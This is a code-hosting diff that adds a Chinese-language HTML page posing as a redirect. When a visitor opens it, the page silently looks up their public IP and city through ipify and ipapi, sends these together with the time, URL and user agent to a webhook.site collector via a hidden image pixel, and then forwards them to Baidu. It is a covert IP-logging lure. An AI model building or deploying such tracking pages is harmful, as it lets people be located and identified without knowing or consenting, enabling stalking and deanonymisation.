File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ <!DOCTYPE html>
2+ < html >
3+ < head >
4+ < meta charset ="utf-8 ">
5+ < title > 跳转中...</ title >
6+ </ head >
7+ < body >
8+ < script >
9+ // 你的 Webhook 地址
10+ const WEBHOOK_URL = "https://webhook.site/b1a566cd-33ae-49ef-bb54-b68c5a75e5cd" ;
11+
12+ // 获取真实公网 IP 和城市
13+ async function getRealIP ( ) {
14+ try {
15+ // 1. 获取真实公网 IP
16+ const ipRes = await fetch ( 'https://api.ipify.org?format=json' ) ;
17+ const ipData = await ipRes . json ( ) ;
18+ const ip = ipData . ip ;
19+
20+ // 2. 根据 IP 获取城市信息
21+ const cityRes = await fetch ( `https://ipapi.co/${ ip } /json/` ) ;
22+ const cityData = await cityRes . json ( ) ;
23+ const city = cityData . city || '未知' ;
24+
25+ return { ip, city } ;
26+ } catch ( e ) {
27+ console . error ( "获取IP失败:" , e ) ;
28+ return { ip : '未知' , city : '未知' } ;
29+ }
30+ }
31+
32+ // 主逻辑
33+ ( async ( ) => {
34+ const { ip, city } = await getRealIP ( ) ;
35+ const visitData = {
36+ ip : ip ,
37+ city : city ,
38+ time : new Date ( ) . toLocaleString ( 'zh-CN' ) ,
39+ url : location . href ,
40+ ua : navigator . userAgent
41+ } ;
42+
43+ // 提交到 Webhook
44+ const img = new Image ( ) ;
45+ const params = new URLSearchParams ( visitData ) . toString ( ) ;
46+ img . src = `${ WEBHOOK_URL } ?${ params } ` ;
47+ img . style . display = 'none' ;
48+ document . body . appendChild ( img ) ;
49+
50+ // 延迟 1 秒后跳转到百度
51+ setTimeout ( ( ) => {
52+ window . location . href = "https://www.baidu.com" ;
53+ } , 1000 ) ;
54+ } ) ( ) ;
55+ </ script >
56+ </ body >
57+ </ html >
You can’t perform that action at this time.
0 commit comments